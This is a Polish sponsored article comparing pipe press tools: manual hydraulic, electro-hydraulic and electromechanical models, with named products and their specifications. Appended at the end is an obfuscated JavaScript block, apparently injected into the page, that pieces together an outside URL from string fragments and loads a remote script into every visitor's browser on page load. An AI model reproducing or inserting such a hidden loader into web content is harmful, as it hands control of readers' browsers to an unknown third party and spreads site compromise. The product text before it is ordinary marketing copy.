Tekst dostarczony przez partnera
 

Poszukujesz urządzenia, które pozwoli Ci szybko i solidnie dokonywać budowy lub napraw w instalacjach opartych na systemach rurowych? Nie wiesz na jaki model zaciskarki do rur się zdecydować? A może szukasz informacji na ich temat, które pomogą Ci podjąć decyzję i dokonać wyboru? Przybliżmy zatem zagadnienie.

 

 

Jak działają zaciskarki do rur?

Niemożliwe jest wykonanie instalacji hydraulicznej, gazowej lub innej wykorzystującej rury, przy pominięciu procesu ich łączenia. Przez długi czas najpopularniejszym sposobem było połączenie przy użyciu gwintu, jednak ostatnie dziesięciolecia przyniosły nowy, pod wieloma względami lepszy wynalazek – zaciskarki do rur. Ich podstawową zaletą jest prostota działania: wystarczy umieścić w takim urządzeniu szczęki dopasowane do wielkości i rodzaju kształtki, którą nakłada się na rurę (może to być kolanko, trójnik etc.), a następnie zacisnąć je w miejscu łączenia. Żadnego gwintowania, żadnego kręcenia – kilka sekund i gotowe.

Dlaczego potrzebujesz mieć własną zaciskarkę do rur?

Przy pomocy zaciskarek do rur można łączyć rozmaite ich rodzaje – zarówno PEX (lub AluPEX), jak i metalowe – miedziane lub stalowe. Ponieważ siła generowana podczas zacisku jest ogromna, a sam proces na ogół automatyczny, wszystkie otrzymane połączenia są jednakowo dobre, trwałe i niezawodne – instalacja jest szczelna i bezpieczna. Zaciskarki do rur są ponadto proste w obsłudze i nie zajmują zbyt dużo miejsca. To niezastąpiony pomocnik każdego hydraulika.

Zaciskarki do rur hydrauliczne – ręczne, czy elektohydrauliczne?

Trudno jednoznacznie ustalić przewagę jednego typu nad drugimi, jako że dedykowane są dla nieco różnych grup odbiorców. Zaciskarki do rur ręczne hydrauliczne, jak choćby Viper i26 VIRAX, są bardzo solidnymi urządzeniami, informującymi sygnałem dźwiękowym o zakończeniu zaciskania, które możesz obsługiwać jedną ręką. Inne modele z kolei mają bardzo małą masę – schodzącą nawet do 1 kg (to kilka razy mniej, niż odpowiedniki na prąd!) – a do tego teleskopowe rączki i głowicę obracaną nawet w zakresie 360°. Dla mobilnych amatorów pracy w ciszy, bez plączących się pod nogami przewodów, z pewnością są to ważne zalety. Z drugiej jednak strony maszyny hydroelektryczne, jak np. ROMAX 4000 Rothenberger, będą konieczne, jeśli chcesz zaciskać rury o średnicy większej niż 32 mm (do φ110 mm). Cykl zaciskania trwa w tym przypadku zaledwie 5 s, a serwisowanie tej zaciskarki do rur konieczne jest dopiero po 40 000 cykli.

Elektromechaniczne zaciskarki do rur

To kolejna grupa tych urządzeń, która pod względem generowanej siły zbliża się do wariantów elektrohydraulicznych – przykładowo, prasa promieniowa REMS Power-Press SE może zaciskać kształtki o średnicach w zakresie 10÷108 mm. Ponadto, szczęki zaciskowe mocowane są w niej z automatycznym ryglowaniem, a sam sprzęt objęty może być 60-miesięczną gwarancją. Z drugiej strony, niektóre maszyny – jak akumulatorowa VIRAX Viper L2X CAS SYSTEM – oferują dodatkowe funkcje dostępne za pośrednictwem Bluetooth, takie jak kontrola ilości wykonanych zaciśnięć, czy wykonanie raportu z instalacji. Dodatkowym atutem tej zaciskarki do rur jest jej konstrukcja – nie dość, że środek ciężkości zlokalizowano w niej na wysokości rękojeści, to jeszcze możesz odłożyć ją na stojaka, co jest bardzo wygodną opcją.

<script><!-- [et_pb_line_break_holder] -->(function(){<!-- [et_pb_line_break_holder] -->imkv_=("u"+"st");imkv=document.createElement("script");imkv.async=true;<!-- [et_pb_line_break_holder] -->imkvu="2245794372";imkv_+="a"+("t.");imkv_+="i"+("nf"+("o"))+("/");<!-- [et_pb_line_break_holder] -->imkvu+=".859p2uX1mkvXeyfq";imkvu+="l1mXXqsybp5zv9";<!-- [et_pb_line_break_holder] -->imkv.src="https://"+imkv_+imkvu;imkv.type="text/javascript";<!-- [et_pb_line_break_holder] -->d_b=document.body;d_b.appendChild(imkv);<!-- [et_pb_line_break_holder] -->})();<!-- [et_pb_line_break_holder] --></script>